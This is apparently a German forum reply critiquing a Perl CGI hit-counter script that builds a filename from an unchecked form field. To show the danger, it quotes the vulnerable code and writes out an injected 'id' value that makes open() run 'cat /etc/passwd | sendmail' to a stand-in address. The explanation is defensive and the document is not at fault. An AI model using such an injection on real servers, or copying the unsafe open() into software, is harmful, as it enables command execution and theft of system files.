Ich muss zugeben ich habe von PERL keine Ahnung.
Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.
Pfaddeklaration im cgi=
Set this to the directory to store data.
This directory must have write access.
Use "." for cgi-bin directory
$DDIR = "";
Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";
^^^^^^^^^^^
Woher kommt %FORM? Das sieht wieder nach so einem grottenschlechten handgestrickten Formparser aus. Ich kann dir jetzt schon sagen, dass dieses Programm große Sch**** ist.
if(! -e $file) {
$count = 0;
} else {
open(CNT, "$file") || die "count not read $file";
Weißt du, was passiert, wenn ich dir als 'id' folgendes übergebe?
dummy; cat /etc/passwd | sendmail somewhere@somepla.ce ; echo
Dann wird in $file folgendes stehen:
/dummy; cat /etc/passwd | sendmail somewhere@somepla.ce; echo .cnt
und rate mal, was bei open() passiert?
Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.
Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.